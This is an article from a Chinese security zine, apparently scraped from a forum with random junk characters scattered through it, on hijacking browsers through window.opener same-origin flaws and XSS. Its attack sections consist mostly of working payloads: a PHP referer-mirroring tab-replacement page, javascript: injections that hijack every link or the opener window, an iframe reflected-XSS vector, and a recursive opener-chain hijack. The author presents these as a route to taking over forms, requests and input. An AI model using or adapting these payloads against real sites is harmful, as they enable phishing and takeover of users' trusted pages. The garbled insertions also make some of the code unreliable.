[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

2 k4 F$ p, \: n8 t                       Issue 0x03, Phile #0x05 of 0x07
# h! P$ W3 C, k% |% W, q# F/ q* E
5 X2 m! k2 \/ `
. T* r, v0 Y0 U! G1 h* x|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
$ u3 f! \0 g/ D4 r1 m|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
/ U/ {6 R4 s( F, F- Q$ T7 X2 ]|=------------------------=[      By rayh4c     ]=---------------------------=|
4 _  p6 D8 a: O6 L|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
& ^: r6 t  h# O* _* H|=---------------------------------------------------------------------------=|


[目录]
7 m9 p- }7 X, a1 w5 l0 X
1. 前言
- i  p$ Y$ p. P- _2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
3 d: k: i% x: B" G9 U  N. w  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
" V* |( D7 W. l/ v! p- W& L5. 利用窗口引用漏洞劫持浏览器
# `* b( ?6 D% a1 V0 g6. 利用XSS漏洞劫持浏览器
- w, b$ y: \+ ^; l0 x  6.1 正向跨窗口劫持
4 d0 J+ A4 z5 P5 [1 i  r  h  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
/ w. h/ Q* N' \. X5 q$ J  6.5 完全控制浏览器
8 n# Q) t5 z9 v9 ~7. 后记
8. 参考
9 r) L+ H$ ~( W6 v. R+ M5 |

一、前言
. ?- S4 D) ^. H7 L3 d
    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
' i9 x" k: @/ Y2 c6 f7 p; o2 p劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
3 G+ \  ]& c$ ]/ Y5 e条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

2 H) B/ |8 [5 U- V* ]7 W6 Q    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
2 A2 e8 x: o, ^  R漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。
9 Q9 Q8 k# j# O/ R4 ^
6 z$ s0 k: x, g; e
! J* j  M$ D' @7 ?三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
+ q, P: M" t4 e" V7 M
- D1 {) }" H: v# r1 @1 L  d0 d--code-------------------------------------------------------------------------
8 h" C) J) h) J* {& m' U<script language="javascript">
for(p in window) document.write(p+"<br>");
+ h( x1 T9 R0 \1 |</script>
3 U: b! F. i! F+ g% s* u-------------------------------------------------------------------------------

    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
6 G7 b* A1 g. V法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。

    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
- B: z; g* s9 n, r. O) n么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
, k; I$ f9 q; y个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
% G- |9 m4 A( o& d, Z值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
8 p% H, l. G1 g6 `7 P+ G
--demo.html--------------------------------------------------------------------
- |  v- f5 L, E3 _" `; L<script language="javascript">   
function allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
                   obj[p]();   
             }else{                     
                  try   
* F5 {' {) ?1 R( W0 S8 q4 O5 h: d! _                   {   
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
                   }   
                  catch (ex)   
% v& w& t5 E6 {, M& V1 c2 C                   {   
  T4 Q1 ~8 F# P: b                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
+ i. v) C  t  ]6 o. `; l' h. q                   }   
9 n; B) k& N7 b) \                       
             }   
9 @$ x7 c# L% F; C+ }$ ^7 T5 }       }   
& ^# h) p: K3 d' v& x   
3 u0 o1 m6 t- ~: P7 H! D       document.write(props+"</table>");   
}   
) |9 J4 y8 J7 l/ k* F% ]% y& G   
! V) u5 ^: |! ]3 L" m/ L% Cfunction createWin() {
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){allPrpos(newWin)},2000);
}
- m0 K# U# B4 U: L6 l
1 r( u, Y/ p& t* ]</script>
6 W- y/ c& F( {3 f
) O6 p) p7 H  \& b/ Y<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
( M5 w  S$ U. n. H
9 e5 I! y- f8 {0 U1 a- p* G
四、窗口引用功能中的同源策略漏洞
1 n3 M1 _3 E' Y
+ [9 ?2 D$ m! w3 m4.1 父窗口引用子窗口的同源策略问题

6 P0 n' q# d* z; u. C    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
9 [2 }+ U3 d4 Z8 F4 j但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
7 m8 F' r: B% \1 F4 M# o浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。

& l5 f* B; M' H$ f& O--vul1.html--------------------------------------------------------------------
9 o  G) }/ K. Y! j( J<script language="javascript">
function createWin() {  
        newWin = window.open ("http://www.google.com");  
! j: f6 H+ f# C1 N$ ?        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
: k! _4 h0 @; ?, [, h7 P2 L# i}
</script>
/ a$ s; j% Y. q2 }7 J
7 K; G( _/ ]1 @* ~/ i<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
7 M( l' |8 Y, u$ M+ G
/ A. O" O" Y% A! ?, Z
# I) ?- y7 K7 C! F4.2 子窗口引用父窗口的同源策略问题
3 I: Y1 L8 |. S* n& j
, O6 b3 C: _& m* ~& r7 \" F  E) B    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
& ]  c! L& y) b: b& T用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
' I! h3 K3 b" B" W可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
3 P; Z" _' h$ L. T; Z9 f# o
--code-------------------------------------------------------------------------
! n, y3 `4 ~1 m& ~
4 R; y" ]9 P$ ?javascript:window.opener.location = "http://www.80sec.com";void(0);

* a6 A- X8 k) k6 B. `-------------------------------------------------------------------------------
  \# \) S( G  K$ B2 W! k) \3 N7 p

五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
; D# T8 W; v) A  |; r6 I窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

8 X0 H8 C9 s0 \8 g2 x6 b5 W    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
  n- h6 @8 N# D1 U  x* S. K生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
3 `% f, w: ?" r7 O! M+ m2 `# B  c后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。
$ s% g; A/ q: C
    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
0 H  Q1 b; A* w. ^- M+ T候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

! p% p/ O. F7 ]6 P, A' K# e--hjk_ref.php------------------------------------------------------------------
+ F* z, h, N2 p0 S: I3 Z9 ^<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
" ?0 ?2 J1 Z4 f. F* H- h}
  K  r0 j, v( I) ~! a' n?>
( i( g( P8 @5 Q% B2 J9 }' t
<script language="javascript">
, h8 o: Z5 D+ b5 zsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
</script>
* q, |; G, j- v# T-------------------------------------------------------------------------------
6 i" Z. k, B$ ?9 F: W
    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
0 l+ X+ s% c2 C; ?. Y9 V% R3 X
; P0 F8 ]0 X: U4 `/ O% D: O
六、利用XSS漏洞劫持浏览器

    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
' z1 R) u7 o7 S6 v- V7 W2 M持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
9 j6 b. d2 s0 Z6 n% @( k# Z讨论跨站师的终极技巧：
# z) y, J  v4 U) ~' h

6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
  O' J; a) u0 L% {" k主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
# |8 |) _/ D6 i& z2 O接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。
: F1 Y/ V3 z$ B$ {; J
--hijack_open.js---------------------------------------------------------------

+ V: u6 L* C' c2 m2 c8 Tjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
; |- N/ N" Y! a' l  @5 L
-------------------------------------------------------------------------------


: i) c9 l6 A# Q6.2 反向跨窗口劫持

    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
6 T6 e' y& H+ q; U+ `码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
' M6 p: ~1 C; |) h& o框脚本。

--hijack_opener.js-------------------------------------------------------------

2 M, g% ]1 _' Z; n  Cjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
7 q% O% M3 W. h- z% w# b
6 l  w5 U$ t3 ]- e7 ~1 |-------------------------------------------------------------------------------
8 b, x( Q9 V4 S$ R% w, n+ m# U

2 z7 I) ~5 @+ |; f5 ]6.3 极度危险的跨框架窗口引用劫持
; w  {' D4 q. @8 ]
    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
$ A+ ~* p3 x) s  ^/ [6 |可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
9 l' O' q4 V6 \, s7 Y适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
' x9 W' u  a: t/ ~非持久型的XSS，如下：
2 d* u7 O- ]/ I
# O' ?! c$ S2 b" l<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
# ]/ |8 ~# n6 n' r  n6 G- Y' i# K5 g
. X8 h/ Q' @  q9 q: X. M    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。
2 b& J; t0 Y+ @. a1 y" W( p
* Z5 h& R, C+ m9 u2 B4 C--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------

# N* Q; m: Z. g9 g) X1 t
" r7 K& H, Z9 K6.4 极度危险的正反向跨窗口递归劫持
3 D8 ~- I& w6 p) B5 D$ h
    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
. y' P- B; k* r的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：

9 M% `  }) M. T" @; V( `8 M" H--code-------------------------------------------------------------------------
' n# o7 w( C/ b. h# w
" w  m  u. T; ]. H8 mjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------
5 \2 n3 Z) X  x
0 {0 ^$ c, v/ E8 V/ t9 I6 J$ V    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。
/ a3 b/ ^& B8 @  G! ~. g; a$ j; C
    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。
4 t$ l; g3 [. Z# l* f3 y

7 x& G4 K9 i0 P+ \+ G6 ?4 f+ U6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
* m, E; [' ~  _) A* f列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。


七、后记

* ~6 c* I3 F! [6 y    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
7 B; ]$ \! |2 g( j过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


! n' |6 [/ O6 @0 _. d八、参考
  n% Q# n6 k- \  U) i
+ G* y; K) p. T/ e0 ]1. http://en.wikipedia.org/wiki/Same_origin_policy
* Q; c/ T, _; c; B/ z2. http://code.google.com/p/browser ... licy_for_DOM_access
* w- p1 ~5 h4 ?# m: P, r3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
' }! r! z" \; ]9 L5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

; f: x& p9 ^( {( A-EOF-